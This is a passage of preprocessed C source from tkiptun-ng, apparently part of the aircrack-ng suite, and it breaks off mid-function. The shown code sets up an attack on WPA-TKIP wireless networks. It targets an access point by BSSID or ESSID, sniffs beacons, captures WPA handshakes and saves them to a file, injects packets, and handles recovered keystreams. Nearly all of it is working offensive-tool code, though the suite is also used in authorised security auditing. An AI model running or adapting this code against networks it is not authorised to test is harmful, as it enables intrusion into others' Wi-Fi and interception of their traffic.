*AES_options(void); > >int AES_set_encrypt_key(const unsigned char *userKey, const int bits, > AES_KEY *key); >int AES_set_decrypt_key(const unsigned char *userKey, const int bits, > AES_KEY *key); > >int private_AES_set_encrypt_key(const unsigned char *userKey, const int bits, > AES_KEY *key); >int private_AES_set_decrypt_key(const unsigned char *userKey, const int bits, > AES_KEY *key); > >void AES_encrypt(const unsigned char *in, unsigned char *out, > const AES_KEY *key); >void AES_decrypt(const unsigned char *in, unsigned char *out, > const AES_KEY *key); > >void AES_ecb_encrypt(const unsigned char *in, unsigned char *out, > const AES_KEY *key, const int enc); >void AES_cbc_encrypt(const unsigned char *in, unsigned char *out, > size_t length, const AES_KEY *key, > unsigned char *ivec, const int enc); >void AES_cfb128_encrypt(const unsigned char *in, unsigned char *out, > size_t length, const AES_KEY *key, > unsigned char *ivec, int *num, const int enc); >void AES_cfb1_encrypt(const unsigned char *in, unsigned char *out, > size_t length, const AES_KEY *key, > unsigned char *ivec, int *num, const int enc); >void AES_cfb8_encrypt(const unsigned char *in, unsigned char *out, > size_t length, const AES_KEY *key, > unsigned char *ivec, int *num, const int enc); >void AES_ofb128_encrypt(const unsigned char *in, unsigned char *out, > size_t length, const AES_KEY *key, > unsigned char *ivec, int *num); >void AES_ctr128_encrypt(const unsigned char *in, unsigned char *out, > size_t length, const AES_KEY *key, > unsigned char ivec[16], > unsigned char ecount_buf[16], > unsigned int *num); > >void AES_ige_encrypt(const unsigned char *in, unsigned char *out, > size_t length, const AES_KEY *key, > unsigned char *ivec, const int enc); > >void AES_bi_ige_encrypt(const unsigned char *in, unsigned char *out, > size_t length, const AES_KEY *key, > const AES_KEY *key2, const unsigned char *ivec, > const int enc); > >int AES_wrap_key(AES_KEY *key, const unsigned char *iv, > unsigned char *out, > const unsigned char *in, unsigned int inlen); >int AES_unwrap_key(AES_KEY *key, const unsigned char *iv, > unsigned char *out, > const unsigned char *in, unsigned int inlen); ># 17 "crypto.h" 2 ># 50 "crypto.h" >struct WPA_ST_info >{ > struct WPA_ST_info *next; > unsigned char stmac[6]; > unsigned char bssid[6]; > unsigned char snonce[32]; > unsigned char anonce[32]; > unsigned char keymic[20]; > unsigned char eapol[256]; > unsigned char ptk[80]; > int eapol_size; > unsigned long t_crc; > unsigned long f_crc; > int keyver, valid_ptk; >}; > >struct Michael >{ > unsigned long key0; > unsigned long key1; > unsigned long left; > unsigned long right; > unsigned long nBytesInM; > unsigned long message; > unsigned char mic[8]; >}; ># 172 "crypto.h" >struct rc4_state >{ > int x, y, m[256]; >}; > >struct AP_info; > >void calc_pmk( char *key, char *essid, unsigned char pmk[40] ); >int decrypt_wep( unsigned char *data, int len, unsigned char *key, int keylen ); >int encrypt_wep( unsigned char *data, int len, unsigned char *key, int keylen ); >int check_crc_buf( unsigned char *buf, int len ); >int calc_crc_buf( unsigned char *buf, int len ); >void calc_mic(struct AP_info *ap, unsigned char *pmk, unsigned char *ptk, > unsigned char *mic); >int known_clear(void *clear, int *clen, int *weight, unsigned char *wh, int len); >int add_crc32(unsigned char* data, int length); >int add_crc32_plain(unsigned char* data, int length); >int is_ipv6(void *wh); >int is_dhcp_discover(void *wh, int len); >int is_qos_arp_tkip(void *wh, int len); >int calc_tkip_ppk( unsigned char *h80211, int caplen, unsigned char TK1[16], unsigned char key[16] ); >int decrypt_tkip( unsigned char *h80211, int caplen, unsigned char TK1[16] ); >int decrypt_ccmp( unsigned char *h80211, int caplen, unsigned char TK1[16] ); >int calc_ptk( struct WPA_ST_info *wpa, unsigned char pmk[32] ); >int calc_tkip_mic(unsigned char* packet, int length, unsigned char ptk[80], unsigned char value[8]); >int michael_test(unsigned char key[8], unsigned char *message, int length, unsigned char out[8]); >int calc_tkip_mic_key(unsigned char* packet, int length, unsigned char key[8]); ># 72 "tkiptun-ng.c" 2 ># 1 "common.h" 1 ># 73 "tkiptun-ng.c" 2 ># 127 "tkiptun-ng.c" >static unsigned char ZERO[32] = > "\x00\x00\x00\x00\x00\x00\x00\x00" > "\x00\x00\x00\x00\x00\x00\x00\x00" > "\x00\x00\x00\x00\x00\x00\x00\x00" > "\x00\x00\x00\x00\x00\x00\x00\x00"; > >int bitrates[12]={1000000, 2000000, 5500000, 6000000, 9000000, 11000000, 12000000, 18000000, 24000000, 36000000, 48000000, 54000000}; > >extern char * getVersion(char * progname, int maj, int min, int submin, int svnrev, int beta); >extern char * searchInside(const char * dir, const char * filename); >extern int maccmp(unsigned char *mac1, unsigned char *mac2); >extern unsigned char * getmac(char * macAddress, int strict, unsigned char * mac); >extern int check_crc_buf( unsigned char *buf, int len ); >extern const unsigned long int crc_tbl[256]; >extern const unsigned char crc_chop_tbl[256][4]; >extern int hexStringToHex(char* in, int length, unsigned char* out); > >char usage[] = > >"\n" >" %s - (C) 2008, 2009 Thomas d\'Otreppe\n" >" http://www.aircrack-ng.org\n" >"\n" >" usage: tkiptun-ng <options> <replay interface>\n" >"\n" >" Filter options:\n" >"\n" >" -d dmac : MAC address, Destination\n" >" -s smac : MAC address, Source\n" >" -m len : minimum packet length (default: 80) \n" >" -n len : maximum packet length (default: 80)\n" >" -t tods : frame control, To DS bit\n" >" -f fromds : frame control, From DS bit\n" >" -D : disable AP detection\n" >" -Z : select packets manually\n" >"\n" >" Replay options:\n" >"\n" >" -x nbpps : number of packets per second\n" >" -a bssid : set Access Point MAC address\n" >" -c dmac : set Destination MAC address\n" >" -h smac : set Source MAC address\n" >" -e essid : set target AP SSID\n" >" -M sec : MIC error timout in seconds [60]\n" >"\n" >" Debug options:\n" >"\n" >" -K prga : keystream for continuation\n" >" -y file : keystream-file for continuation\n" >" -j : inject FromDS packets\n" >" -P pmk : pmk for verification/vuln testing\n" >" -p psk : psk to calculate pmk with essid\n" >"\n" >" source options:\n" >"\n" >" -i iface : capture packets from this interface\n" >" -r file : extract packets from this pcap file\n" >"\n" >" --help : Displays this usage screen\n" >"\n"; > >struct WPA_hdsk >{ > unsigned char stmac[6]; > unsigned char snonce[32]; > unsigned char anonce[32]; > unsigned char keymic[16]; > unsigned char eapol[256]; > int eapol_size; > int keyver; > int state; >}; > >struct options >{ > unsigned char f_bssid[6]; > unsigned char f_dmac[6]; > unsigned char f_smac[6]; > int f_minlen; > int f_maxlen; > int f_minlen_set; > int f_maxlen_set; > int f_type; > int f_subtype; > int f_tods; > int f_fromds; > int f_iswep; > > FILE *f_ivs; > > int r_nbpps; > int r_fctrl; > unsigned char r_bssid[6]; > unsigned char r_dmac[6]; > unsigned char r_smac[6]; > unsigned char r_apmac[6]; > unsigned char r_dip[4]; > unsigned char r_sip[4]; > char r_essid[33]; > int r_fromdsinj; > char r_smac_set; > > char ip_out[16]; > char ip_in[16]; > int port_out; > int port_in; > > char *iface_out; > char *s_face; > char *s_file; > unsigned char *prga; > > int a_mode; > int a_count; > int a_delay; > > int ringbuffer; > int ghost; > int prgalen; > > int delay; > int npackets; > > int fast; > int bittest; > > int nodetect; > > unsigned char oldkeystream[2048]; > int oldkeystreamlen; > char wpa_essid[256]; > char psk[128]; > unsigned char pmk[128]; > unsigned char ptk[80]; > unsigned char ip_cli[4]; > unsigned char ip_ap[4]; > int got_ptk; > int got_pmk; > int got_psk; > int got_mic_fromds; > int got_mic_tods; > int got_ip_ap; > int got_ip_client; > > struct WPA_hdsk wpa; > struct WPA_ST_info wpa_sta; > time_t wpa_time; > > unsigned char *chopped_from_plain; > unsigned char *chopped_to_plain; > unsigned char *chopped_from_prga; > unsigned char *chopped_to_prga; > int chopped_from_plain_len; > int chopped_to_plain_len; > int chopped_from_prga_len; > int chopped_to_prga_len; > > struct timeval last_mic_failure; > int mic_failure_interval; >} >opt; > >struct devices >{ > int fd_in, arptype_in; > int fd_out, arptype_out; > int fd_rtc; > > unsigned char mac_in[6]; > unsigned char mac_out[6]; > > int is_wlanng; > int is_hostap; > int is_madwifi; > int is_madwifing; > int is_bcm43xx; > > FILE *f_cap_in; > > struct pcap_file_header pfh_in; >} >dev; > >static struct wif *_wi_in, *_wi_out; > >struct ARP_req >{ > unsigned char *buf; > int hdrlen; > int len; >}; > >struct APt >{ > unsigned char set; > unsigned char found; > unsigned char len; > unsigned char essid[255]; > unsigned char bssid[6]; > unsigned char chan; > unsigned int ping[30]; > int pwr[30]; >}; > >struct APt ap[20]; > >unsigned long nb_pkt_sent; >unsigned char h80211[4096]; >unsigned char tmpbuf[4096]; >unsigned char srcbuf[4096]; >char strbuf[512]; > >unsigned char ska_auth1[] = "\xb0\x00\x3a\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" > "\x00\x00\x00\x00\x00\x00\xb0\x01\x01\x00\x01\x00\x00\x00"; > >unsigned char ska_auth3[4096] = "\xb0\x40\x3a\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" > "\x00\x00\x00\x00\x00\x00\xc0\x01"; > > >int ctrl_c, alarmed; > >char * iwpriv; > > >void sighandler( int signum ) >{ > if( signum == 2 ) > ctrl_c++; > > if( signum == 14 ) > alarmed++; >} > >int reset_ifaces() >{ > > if(_wi_in != _wi_out) > { > if(_wi_in) > { > wi_close(_wi_in); > _wi_in = ((void *)0); > } > if(_wi_out) > { > wi_close(_wi_out); > _wi_out = ((void *)0); > } > } > else > { > if(_wi_out) > { > wi_close(_wi_out); > _wi_out = ((void *)0); > _wi_in = ((void *)0); > } > } > > > _wi_out = wi_open(opt.iface_out); > if (!_wi_out) > return 1; > dev.fd_out = wi_fd(_wi_out); > > > if( opt.s_face != ((void *)0) ) > { > _wi_in = wi_open(opt.s_face); > if (!_wi_in) > return 1; > dev.fd_in = wi_fd(_wi_in); > wi_get_mac(_wi_in, dev.mac_in); > } > else > { > _wi_in = _wi_out; > dev.fd_in = dev.fd_out; > > > dev.arptype_in = dev.arptype_out; > wi_get_mac(_wi_in, dev.mac_in); > } > > wi_get_mac(_wi_out, dev.mac_out); > > return 0; >} > >int set_bitrate(struct wif *wi, int rate) >{ > int i, newrate; > > if( wi_set_rate(wi, rate) ) > return 1; > > > > > > if (rate == 5500000 && wi_get_rate(wi) != 5500000) { > if( wi_set_rate(wi, 5000000) ) > return 1; > } > > newrate = wi_get_rate(wi); > for(i=0; i<12; i++) > { > if(bitrates[i] == rate) > break; > } > if(i==12) > i=-1; > if( newrate != rate ) > { > if(i!=-1) > { > if( i>0 ) > { > if(bitrates[i-1] >= newrate) > { > printf("Couldn't set rate to %.1fMBit. (%.1fMBit instead)\n", (rate/1000000.0), (wi_get_rate(wi)/1000000.0)); > return 1; > } > } > if( i<12 -1 ) > { > if(bitrates[i+1] <= newrate) > { > printf("Couldn't set rate to %.1fMBit. (%.1fMBit instead)\n", (rate/1000000.0), (wi_get_rate(wi)/1000000.0)); > return 1; > } > } > return 0; > } > printf("Couldn't set rate to %.1fMBit. (%.1fMBit instead)\n", (rate/1000000.0), (wi_get_rate(wi)/1000000.0)); > return 1; > } > return 0; >} > >int check_received(unsigned char *packet, int length) >{ > int z; > unsigned char bssid[6], smac[6], dmac[6]; > struct ivs2_pkthdr ivs2; > > z = ( ( packet[1] & 3 ) != 3 ) ? 24 : 30; > > if(length < z) return 0; > > > if( (packet[0] & 0x80) == 0x80) z+=2; > > switch( packet[1] & 3 ) > { > case 0: > memcpy( bssid, packet + 16, 6 ); > memcpy( dmac, packet + 4, 6 ); > memcpy( smac, packet + 10, 6 ); > break; > case 1: > memcpy( bssid, packet + 4, 6 ); > memcpy( dmac, packet + 16, 6 ); > memcpy( smac, packet + 10, 6 ); > break; > case 2: > memcpy( bssid, packet + 10, 6 ); > memcpy( dmac, packet + 4, 6 ); > memcpy( smac, packet + 16, 6 ); > break; > default: > memcpy( bssid, packet + 10, 6 ); > memcpy( dmac, packet + 16, 6 ); > memcpy( smac, packet + 24, 6 ); > break; > } > > if( memcmp(bssid, opt.f_bssid, 6) != 0 ) > { > return(0); > } > else > { > if(memcmp(dmac, opt.wpa.stmac, 6) != 0 && memcmp(smac, opt.wpa.stmac, 6) != 0) > return(0); > } > > if( z + 26 > length ) > return 0; > > if(!(packet[1] & 0x40)) > { > z += 6; > > > if( packet[z] == 0x88 && packet[z + 1] == 0x8E && (packet[1] & 0x40) != 0x40 ) > { > if(opt.wpa.state != 7 || time(((void *)0)) - opt.wpa_time > 1) > { > z += 2; > > > > if( ( packet[z + 6] & 0x08 ) != 0 && > ( packet[z + 6] & 0x40 ) == 0 && > ( packet[z + 6] & 0x80 ) != 0 && > ( packet[z + 5] & 0x01 ) == 0 ) > { > memcpy( opt.wpa.anonce, &packet[z + 17], 32 ); > opt.wpa.state = 1; > } > > > > > if( z+17+32 > length ) > return 0; > > if( ( packet[z + 6] & 0x08 ) != 0 && > ( packet[z + 6] & 0x40 ) == 0 && > ( packet[z + 6] & 0x80 ) == 0 && > ( packet[z + 5] & 0x01 ) != 0 ) > { > if( memcmp( &packet[z + 17], ZERO, 32 ) != 0 ) > { > memcpy( opt.wpa.snonce, &packet[z + 17], 32 ); > opt.wpa.state |= 2; > > } > > if( (opt.wpa.state & 4) != 4 ) > { > opt.wpa.eapol_size = ( packet[z + 2] << 8 ) > + packet[z + 3] + 4; > > memcpy( opt.wpa.keymic, &packet[z + 81], 16 ); > memcpy( opt.wpa.eapol, &packet[z], opt.wpa.eapol_size ); > memset( opt.wpa.eapol + 81, 0, 16 ); > opt.wpa.state |= 4; > opt.wpa.keyver = packet[z + 6] & 7; > } > } > > > > if( ( packet[z + 6] & 0x08 ) != 0 && > ( packet[z + 6] & 0x40 ) != 0 && > ( packet[z + 6] & 0x80 ) != 0 && > ( packet[z + 5] & 0x01 ) != 0 ) > { > if( memcmp( &packet[z + 17], ZERO, 32 ) != 0 ) > { > memcpy( opt.wpa.anonce, &packet[z + 17], 32 ); > opt.wpa.state |= 1; > } > > if( (opt.wpa.state & 4) != 4 ) > { > opt.wpa.eapol_size = ( packet[z + 2] << 8 ) > + packet[z + 3] + 4; > > memcpy( opt.wpa.keymic, &packet[z + 81], 16 ); > memcpy( opt.wpa.eapol, &packet[z], opt.wpa.eapol_size ); > memset( opt.wpa.eapol + 81, 0, 16 ); > opt.wpa.state |= 4; > opt.wpa.keyver = packet[z + 6] & 7; > } > } > > if( opt.wpa.state == 7) > { > memcpy( opt.wpa.stmac, opt.r_smac, 6 ); > { struct tm *lt; time_t tc = time( ((void *)0) ); lt = localtime( &tc ); printf( "%02d:%02d:%02d ", lt->tm_hour, lt->tm_min, lt->tm_sec ); }; printf("WPA handshake: %02X:%02X:%02X:%02X:%02X:%02X captured\n", > opt.r_bssid[0], opt.r_bssid[1], opt.r_bssid[2], > opt.r_bssid[3], opt.r_bssid[4], opt.r_bssid[5]); > > opt.wpa_time = time(((void *)0)); > > if( opt.f_ivs != ((void *)0) ) > { > memset(&ivs2, '\x00', sizeof(struct ivs2_pkthdr)); > ivs2.flags = 0; > ivs2.len = 0; > > ivs2.len= sizeof(struct WPA_hdsk); > ivs2.flags |= 0x0004; > > ivs2.flags |= 0x0001; > ivs2.len += 6; > > if( fwrite( &ivs2, 1, sizeof(struct ivs2_pkthdr), opt.f_ivs ) > != (size_t) sizeof(struct ivs2_pkthdr) ) > { > perror( "fwrite(IV header) failed" ); > return( 1 ); > } > > if( ivs2.flags & 0x0001 ) > { > if( fwrite( opt.r_bssid, 1, 6, opt.f_ivs ) != (size_t) 6 ) > { > perror( "fwrite(IV bssid) failed" ); > return( 1 ); > } > ivs2.len -= 6; > } > > if( fwrite( &(opt.wpa), 1, sizeof(struct WPA_hdsk), opt.f_ivs ) != (size_t) sizeof(struct WPA_hdsk) ) > { > perror( "fwrite(IV wpa_hdsk) failed" ); > return( 1 ); > } > } > } > } > } > } > > return 0; >} > >int send_packet(void *buf, size_t count) >{ > struct wif *wi = _wi_out; ># 660 "tkiptun-ng.c" > if (wi_write(wi, buf, count, ((void *)0)) == -1) { > switch ((*__errno_location ())) { > case 11: > case 105: > usleep(10000); > return 0; > } > > perror("wi_write()"); > return -1; > } > > nb_pkt_sent++; > return 0; >} > >int read_packet(void *buf, size_t count, struct rx_info *ri) >{ > struct wif *wi = _wi_in; > int rc; > > rc = wi_read(wi, buf, count, ri); > if (rc == -1) { > switch ((*__errno_location ())) { > case 11: > return 0; > } > > perror("wi_read()"); > return -1; > } > > return rc; >} > >void read_sleep( int usec ) >{ > struct timeval tv, tv2, tv3; > int caplen; > fd_set rfds; > > gettimeofday(&tv, ((void *)0)); > gettimeofday(&tv2, ((void *)0)); > > tv3.tv_sec=0; > tv3.tv_usec=10000; > > while( ((tv2.tv_sec*1000000 - tv.tv_sec*1000000) + (tv2.tv_usec - tv.tv_usec)) < (usec) ) > { > do { unsigned int __i; fd_set *__arr = (&rfds); for (__i = 0; __i < sizeof (fd_set) / sizeof (__fd_mask); ++__i) ((__arr)->__fds_bits)[__i] = 0; } while (0); > ((void) (((&rfds)->__fds_bits)[__extension__ ({ long int __d = (dev.fd_in); (__builtin_constant_p (__d) ? (0 <= __d && __d < 1024 ? (__d / (8 * (int) sizeof (__fd_mask))) : __fdelt_warn (__d)) : __fdelt_chk (__d)); })] |= ((__fd_mask) 1 << ((dev.fd_in) % (8 * (int) sizeof (__fd_mask)))))); > > if( select( dev.fd_in + 1, &rfds, ((void *)0), ((void *)0), &tv3 ) < 0 ) > { > continue; > } > > if( ((((&rfds)->__fds_bits)[__extension__ ({ long int __d = (dev.fd_in); (__builtin_constant_p (__d) ? (0 <= __d && __d < 1024 ? (__d / (8 * (int) sizeof (__fd_mask))) : __fdelt_warn (__d)) : __fdelt_chk (__d)); })] & ((__fd_mask) 1 << ((dev.fd_in) % (8 * (int) sizeof (__fd_mask))))) != 0) ) > { > caplen = read_packet( h80211, sizeof( h80211 ), ((void *)0) ); > check_received(h80211, caplen); > } > > usleep(1000); > gettimeofday(&tv2, ((void *)0)); > } >} > >int filter_packet( unsigned char *h80211, int caplen ) >{ > int z, mi_b, mi_s, mi_d, ext=0, qos=0; > > if(caplen <= 0) > return( 1 ); > > z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30; > if ( ( h80211[0] & 0x80 ) == 0x80 ) > { > qos = 1; > z+=2; > } > > if(!qos) return(1); > > if( (h80211[0] & 0x0C) == 0x08) > ext = z-24; > > > if( caplen-ext < opt.f_minlen || > caplen-ext > opt.f_maxlen ) return( 1 ); > > > > if( ( h80211[0] & 0x80 ) != 0x80 ) > return( 1 ); > > if( ( h80211[0] & 0x0C ) != ( opt.f_type << 2 ) && > opt.f_type >= 0 ) return( 1 ); > > if( ( h80211[0] & 0x70 ) != (( opt.f_subtype << 4 ) & 0x70) && > opt.f_subtype >= 0 ) return( 1 ); > > if( ( h80211[1] & 0x01 ) != ( opt.f_tods ) && > opt.f_tods >= 0 ) return( 1 ); > > if( ( h80211[1] & 0x02 ) != ( opt.f_fromds << 1 ) && > opt.f_fromds >= 0 ) return( 1 ); > > if( ( h80211[1] & 0x40 ) != ( opt.f_iswep << 6 ) && > opt.f_iswep >= 0 ) return( 1 ); ># 778 "tkiptun-ng.c" > switch( h80211[1] & 3 ) > { > case 0: mi_b = 16; mi_s = 10; mi_d = 4; break; > case 1: mi_b = 4; mi_s = 10; mi_d = 16; break; > case 2: mi_b = 10; mi_s = 16; mi_d = 4; break; > default: mi_b = 10; mi_d = 16; mi_s = 24; break; > } > > if( memcmp( opt.f_bssid, (unsigned char*)"\x00\x00\x00\x00\x00\x00", 6 ) != 0 ) > if( memcmp( h80211 + mi_b, opt.f_bssid, 6 ) != 0 ) > return( 1 ); > > if( memcmp( opt.f_bssid, opt.f_smac, 6) == 0) > { > if( memcmp( opt.f_smac, (unsigned char*)"\x00\x00\x00\x00\x00\x00", 6 ) != 0 ) > if( memcmp( h80211 + mi_s, opt.f_smac, 5 ) != 0 ) > return( 1 ); > } > else > { > if( memcmp( opt.f_smac, (unsigned char*)"\x00\x00\x00\x00\x00\x00", 6 ) != 0 ) > if( memcmp( h80211 + mi_s, opt.f_smac, 6 ) != 0 ) > return( 1 ); > } > > if( memcmp( opt.f_bssid, opt.f_dmac, 6) == 0) > { > if( memcmp( opt.f_dmac, (unsigned char*)"\x00\x00\x00\x00\x00\x00", 6 ) != 0 ) > if( memcmp( h80211 + mi_d, opt.f_dmac, 5 ) != 0 ) > return( 1 ); > } > else > { > if( memcmp( opt.f_dmac, (unsigned char*)"\x00\x00\x00\x00\x00\x00", 6 ) != 0 ) > if( memcmp( h80211 + mi_d, opt.f_dmac, 6 ) != 0 ) > return( 1 ); > } > > > > return( 0 ); >} > >int wait_for_beacon(unsigned char *bssid, unsigned char *capa, char *essid) >{ > int len = 0, chan = 0, taglen = 0, tagtype = 0, pos = 0; > unsigned char pkt_sniff[4096]; > struct timeval tv,tv2; > char essid2[33]; > > gettimeofday(&tv, ((void *)0)); > while (1) > { > len = 0; > while (len < 22) > { > len = read_packet(pkt_sniff, sizeof(pkt_sniff), ((void *)0)); > > gettimeofday(&tv2, ((void *)0)); > if(((tv2.tv_sec-tv.tv_sec)*1000000) + (tv2.tv_usec-tv.tv_usec) > 10000*1000) > { > return -1; > } > if(len <= 0) usleep(1000); > } > if (! memcmp(pkt_sniff, "\x80", 1)) > { > pos = 0; > taglen = 22; > taglen+= 12; > do > { > pos += taglen + 2; > tagtype = pkt_sniff[pos]; > taglen = pkt_sniff[pos+1]; > } while(tagtype != 3 && pos < len-2); > > if(tagtype != 3) continue; > if(taglen != 1) continue; > if(pos+2+taglen > len) continue; > > chan = pkt_sniff[pos+2]; > > if(essid) > { > pos = 0; > taglen = 22; > taglen+= 12; > do > { > pos += taglen + 2; > tagtype = pkt_sniff[pos]; > taglen = pkt_sniff[pos+1]; > } while(tagtype != 0 && pos < len-2); > > if(tagtype != 0) continue; > if(taglen <= 1) > { > if (memcmp(bssid, pkt_sniff+10, 6) == 0) break; > else continue; > } > if(pos+2+taglen > len) continue; > > if(taglen > 32)taglen = 32; > > if((pkt_sniff+pos+2)[0] < 32 && memcmp(bssid, pkt_sniff+10, 6) == 0) > { > break; > } > > > if(bssid != ((void *)0) && memcmp(bssid, pkt_sniff+10, 6) == 0 && strlen(essid) == 0) > { > memset(essid, 0, 33); > memcpy(essid, pkt_sniff+pos+2, taglen); > break; > } > > > if(bssid != ((void *)0) && memcmp(bssid, (unsigned char*)"\x00\x00\x00\x00\x00\x00", 6) == 0 && strncasecmp(essid, (char*)pkt_sniff+pos+2, taglen) == 0 && strlen(essid) == (unsigned)taglen) > { > memset(essid, 0, 33); > memcpy(essid, pkt_sniff+pos+2, taglen); > memcpy(bssid, pkt_sniff+10, 6); > printf("Found BSSID \"%02X:%02X:%02X:%02X:%02X:%02X\" to given ESSID \"%s\".\n", bssid[0], bssid[1], bssid[2], bssid[3], bssid[4], bssid[5], essid); > break; > } > > > if(bssid != ((void *)0) && memcmp(bssid, pkt_sniff+10, 6) == 0 && strlen(essid) > 0) > { > memset(essid2, 0, 33); > memcpy(essid2, pkt_sniff+pos+2, taglen); > if(strncasecmp(essid, essid2, taglen) == 0 && strlen(essid) == (unsigned)taglen) > break; > else > { > printf("For the given BSSID \"%02X:%02X:%02X:%02X:%02X:%02X\", there is an ESSID mismatch!\n", bssid[0], bssid[1], bssid[2], bssid[3], bssid[4], bssid[5]); > printf("Found ESSID \"%s\" vs. specified ESSID \"%s\"\n", essid2, essid); > printf("Using the given one, double check it to be sure its correct!\n"); > break; > } > } > } > } > } > > if(capa) memcpy(capa, pkt_sniff+34, 2); > > return chan; >} > > > > >int attack_check(unsigned char* bssid, char* essid, unsigned char* capa, struct wif *wi) >{ > int ap_chan=0, iface_chan=0; > > iface_chan = wi_get_channel(wi); > > if(bssid != ((void *)0)) > { > ap_chan = wait_for_beacon(bssid, capa, essid); > if(ap_chan < 0) > { > { struct tm *lt; time_t tc = time( ((void *)0) ); lt = localtime( &tc ); printf( "%02d:%02d:%02d ", lt->tm_hour, lt->tm_min, lt->tm_sec ); }; printf("No such BSSID available.\n"); > return -1; > } > if(ap_chan != iface_chan) > { > { struct tm *lt; time_t tc = time( ((void *)0) ); lt = localtime( &tc ); printf( "%02d:%02d:%02d ", lt->tm_hour, lt->tm_min, lt->tm_sec ); }; printf("%s is on channel %d, but the AP uses channel %d\n", wi_get_ifname(wi), iface_chan, ap_chan); > return -1; > } > } > > return 0; >} > >int getnet( unsigned char* capa, int filter, int force) >{ > unsigned char *bssid; > > if(opt.nodetect) > return 0; > > if(filter) > bssid = opt.f_bssid; > else > bssid = opt.r_bssid; > > > if( memcmp(bssid, (unsigned char*)"\x00\x00\x00\x00\x00\x00", 6) ) > { > { struct tm *lt; time_t tc = time( ((void *)0) ); lt = localtime( &tc ); printf( "%02d:%02d:%02d ", lt->tm_hour, lt->tm_min, lt->tm_sec ); }; printf("Waiting for beacon frame (BSSID: %02X:%02X:%02X:%02X:%02X:%02X) on channel %d\n", > bssid[0],bssid[1],bssid[2],bssid[3],bssid[4],bssid[5],wi_get_channel(_wi_in)); > } > else if(strlen(opt.r_essid) > 0) > { > { struct tm *lt; time_t tc = time( ((void *)0) ); lt = localtime( &tc ); printf( "%02d:%02d:%02d ", lt->tm_hour, lt->tm_min, lt->tm_sec ); }; printf("Waiting for beacon frame (ESSID: %s) on channel %d\n", opt.r_essid,wi_get_channel(_wi_in)); > } > else if(force) > { > { struct tm *lt; time_t tc = time( ((void *)0) ); lt = localtime( &tc ); printf( "%02d:%02d:%02d ", lt->tm_hour, lt->tm_min, lt->tm_sec ); }; > if(filter) > { > printf("Please specify at least a BSSID (-b) or an ESSID (-e)\n"); > } > else > { > printf("Please specify at least a BSSID (-a) or an ESSID (-e)\n"); > } > return( 1 ); > } > else > return 0; > > if( attack_check(bssid, opt.r_essid, capa, _wi_in) != 0) > { > if(memcmp(bssid, (unsigned char*)"\x00\x00\x00\x00\x00\x00", 6)) > { > if( strlen(opt.r_essid) == 0 || opt.r_essid[0] < 32) > { > printf( "Please specify an ESSID (-e).\n" ); > } > } > > if(!memcmp(bssid, (unsigned char*)"\x00\x00\x00\x00\x00\x00", 6)) > { > if(strlen(opt.r_essid) > 0) > { > printf( "Please specify a BSSID (-a).\n" ); > } > } > return( 1 ); > } > > return 0; >} > >int xor_keystream(unsigned char *ph80211, unsigned char *keystream, int len) >{ > int i=0; > > for (i=0; i<len; i++) { > ph80211[i] = ph80211[i] ^ keystream[i]; > } > > return 0; >} > >int capture_ask_packet( int *caplen, int just_grab ) >{ > time_t tr; > struct timeval tv; > struct tm *lt; > > fd_set rfds; > long nb_pkt_read; > int i, j, n, mi_b=0, mi_s=0, mi_d=0, mi_t=0, mi_r=0, is_wds=0, key_index_offset; > int ret, z; > > FILE *f_cap_out; > struct pcap_file_header pfh_out; > struct pcap_pkthdr pkh; > > if( opt.f_minlen < 0 ) opt.f_minlen = 40; > if( opt.f_maxlen < 0 ) opt.f_maxlen = 1500; > if( opt.f_type < 0 ) opt.f_type = 2; > if( opt.f_subtype < 0 ) opt.f_subtype = 0; > if( opt.f_iswep < 0 ) opt.f_iswep = 1; > > tr = time( ((void *)0) ); > > nb_pkt_read = 0; > > signal( 2, ((__sighandler_t) 0) ); > > while( 1 ) > { > if( time( ((void *)0) ) - tr > 0 ) > { > tr = time( ((void *)0) ); > printf( "\rRead %ld packets...\r", nb_pkt_read ); > fflush( stdout ); > } > > if( opt.s_file == ((void *)0) ) > { > do { unsigned int __i; fd_set *__arr = (&rfds); for (__i = 0; __i < sizeof (fd_set) / sizeof (__fd_mask); ++__i) ((__arr)->__fds_bits)[__i] = 0; } while (0); > ((void) (((&rfds)->__fds_bits)[__extension__ ({ long int __d = (dev.fd_in); (__builtin_constant_p (__d) ? (0 <= __d && __d < 1024 ? (__d / (8 * (int) sizeof (__fd_mask))) : __fdelt_warn (__d)) : __fdelt_chk (__d)); })] |= ((__fd_mask) 1 << ((dev.fd_in) % (8 * (int) sizeof (__fd_mask)))))); > > tv.tv_sec = 1; > tv.tv_usec = 0; > > if( select( dev.fd_in + 1, &rfds, ((void *)0), ((void *)0), &tv ) < 0 ) > { > if( (*__errno_location ()) == 4 ) continue; > perror( "select failed" ); > return( 1 ); > } > > if( ! ((((&rfds)->__fds_bits)[__extension__ ({ long int __d = (dev.fd_in); (__builtin_constant_p (__d) ? (0 <= __d && __d < 1024 ? (__d / (8 * (int) sizeof (__fd_mask))) : __fdelt_warn (__d)) : __fdelt_chk (__d)); })] & ((__fd_mask) 1 << ((dev.fd_in) % (8 * (int) sizeof (__fd_mask))))) != 0) ) > continue; > > gettimeofday( &tv, ((void *)0) ); > > *caplen = read_packet( h80211, sizeof( h80211 ), ((void *)0) ); > > if( *caplen < 0 ) return( 1 ); > if( *caplen == 0 ) continue; > } > else > { > > > n = sizeof( pkh ); > > if( fread( &pkh, n, 1, dev.f_cap_in ) != 1 ) > { > printf( "\r\33[KEnd of file.\n" ); > return( 1 ); > } > > if( dev.pfh_in.magic == 0xD4C3B2A1 ) > pkh.caplen = ( ( ( pkh.caplen >> 24 ) & 0x000000FF ) | ( ( pkh.caplen >> 8 ) & 0x0000FF00 ) | ( ( pkh.caplen << 8 ) & 0x00FF0000 ) | ( ( pkh.caplen << 24 ) & 0xFF000000 ) );; > > tv.tv_sec = pkh.tv_sec; > tv.tv_usec = pkh.tv_usec; > > n = *caplen = pkh.caplen; > > if( n <= 0 || n > (int) sizeof( h80211 ) || n > (int) sizeof( tmpbuf ) ) > { > printf( "\r\33[KInvalid packet length %d.\n", n ); > return( 1 ); > } > > if( fread( h80211, n, 1, dev.f_cap_in ) != 1 ) > { > printf( "\r\33[KEnd of file.\n" ); > return( 1 ); > } > > if( dev.pfh_in.linktype == 119 ) > { > if( h80211[7] == 0x40 ) > n = 64; > else > n = *(int *)( h80211 + 4 ); > > if( n < 8 || n >= (int) *caplen ) > continue; > > memcpy( tmpbuf, 